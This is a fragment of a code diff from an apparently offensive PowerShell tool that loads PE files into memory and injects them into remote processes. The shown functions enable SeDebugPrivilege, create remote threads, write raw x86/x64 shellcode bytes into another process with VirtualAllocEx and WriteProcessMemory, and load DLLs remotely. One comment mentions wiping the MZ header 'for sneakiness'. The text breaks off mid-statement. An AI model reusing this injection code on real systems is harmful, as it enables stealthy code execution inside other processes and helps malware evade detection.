[BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } Function Get-Hex @@ -892,2009 +894,1990 @@ $RemoteScriptBlock = { return $Hex } - - - Function Test-MemoryRangeValid - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [String] - $DebugString, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] - [IntPtr] - $Size - ) - - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - - $PEEndAddress = $PEInfo.EndAddress - - if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) - { - Throw "Trying to write to memory smaller than allocated address range. $DebugString" - } - if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) - { - Throw "Trying to write to memory greater than allocated address range. $DebugString" - } - } - - - Function Write-BytesToMemory - { - Param( - [Parameter(Position=0, Mandatory = $true)] - [Byte[]] - $Bytes, - - [Parameter(Position=1, Mandatory = $true)] - [IntPtr] - $MemoryAddress - ) - - for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) - { - [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) - } - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - - Function Enable-SeDebugPrivilege - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $Win32Functions.ImpersonateSelf.Invoke(3) - if ($Result -eq $false) - { - Throw "Unable to impersonate self" - } - - $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw "Unable to OpenThreadToken." - } - } - else - { - Throw "Unable to OpenThreadToken. Error code: $ErrorCode" - } - } - - [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) - $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) - if ($Result -eq $false) - { - Throw "Unable to call LookupPrivilegeValue" - } - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) - [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) - $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) - - $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value - if (($Result -eq $false) -or ($ErrorCode -ne 0)) - { - #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) - } - - - Function Create-RemoteThread - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [IntPtr] - $ProcessHandle, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(Position = 3, Mandatory = $false)] - [IntPtr] - $ArgumentPtr = [IntPtr]::Zero, - - [Parameter(Position = 4, Mandatory = $true)] - [System.Object] - $Win32Functions - ) - - [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero - - $OSVersion = [Environment]::OSVersion.Version - #Vista and Win7 - if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) - { - #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" - $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) - $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" - } - } - #XP/Win8 - else - { - #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" - $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) - } - - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop - } - - return $RemoteThreadHandle - } - - - - Function Get-ImageNtHeaders - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - $NtHeadersInfo = New-Object System.Object - - #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness - $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) - - #Get IMAGE_NT_HEADERS - [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr - $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) - - #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. - if ($imageNtHeaders64.Signature -ne 0x00004550) - { - throw "Invalid IMAGE_NT_HEADER signature." - } - - if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') - { - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true - } - else - { - $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false - } - - return $NtHeadersInfo - } - - - #This function will get the information needed to allocated space in memory for the PE - Function Get-PEBasicInfo - { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - $PEInfo = New-Object System.Object - - #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. - [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null - - #Get NtHeadersInfo - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types - - #Build a structure with the information which will be needed for allocating memory and writing the PE to memory - $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) - - #Free the memory allocated above, this isn't where we allocate the PE to memory - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) - - return $PEInfo - } - - - #PEInfo must contain the following NoteProperties: - # PEHandle: An IntPtr to the address the PE is loaded to in memory - Function Get-PEDetailedInfo - { - Param( - [Parameter( Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) - { - throw 'PEHandle is null or IntPtr.Zero' - } - - $PEInfo = New-Object System.Object - - #Get NtHeaders information - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types - - #Build the PEInfo object - $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle - $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) - $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) - $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - - if ($PEInfo.PE64Bit -eq $true) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - else - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - - if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' - } - elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' - } - else - { - Throw "PE file is not an EXE or DLL" - } - - return $PEInfo - } - - - Function Import-DllInRemoteProcess - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $ImportDllPathPtr - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) - $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RImportDllPathPtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) - - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($DllPathSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } - - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes - - [IntPtr]$DllAddress = [IntPtr]::Zero - #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address - # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. - if ($PEInfo.PE64Bit -eq $true) - { - #Allocate memory for the address returned by LoadLibraryA - $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($LoadLibraryARetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" - } - - - #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) - $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $LoadLibrarySC2 = @(0x48, 0xba) - $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) - $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - - $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) - - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if ($Result -eq $false) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - else - { - [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - [Int32]$ExitCode = 0 - $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) - if (($Result -eq 0) -or ($ExitCode -eq 0)) - { - Throw "Call to GetExitCodeThread failed" - } - - [IntPtr]$DllAddress = [IntPtr]$ExitCode - } - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - - return $DllAddress - } - - - Function Get-RemoteProcAddress - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $RemoteDllHandle, - - [Parameter(Position=2, Mandatory=$true)] - [IntPtr] - $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) - [Parameter(Position=3, Mandatory=$true)] - [Bool] - $LoadByOrdinal - ) + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, - [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal - #If not loading by ordinal, write the function name to the remote process memory - if (-not $LoadByOrdinal) + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) { - $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) - - #Write FunctionName to memory (will be used in GetProcAddress) - $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) - $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RFuncNamePtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($FunctionNameSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } + Throw "Trying to write to memory smaller than allocated address range. $DebugString" } - #If loading by ordinal, just set RFuncNamePtr to be the ordinal number - else + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) { - $RFuncNamePtr = $FunctionNamePtr + Throw "Trying to write to memory greater than allocated address range. $DebugString" } - - #Get address of GetProcAddress - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes - - - #Allocate memory for the address returned by GetProcAddress - $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($GetProcAddressRetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" - } - - - #Write Shellcode to the remote process which will call GetProcAddress - #Shellcode: GetProcAddress.asm - [Byte[]]$GetProcAddressSC = @() - if ($PEInfo.PE64Bit -eq $true) - { - $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $GetProcAddressSC2 = @(0x48, 0xba) - $GetProcAddressSC3 = @(0x48, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) - $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) - $GetProcAddressSC2 = @(0xb9) - $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) - $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) - - $RSCAddr = 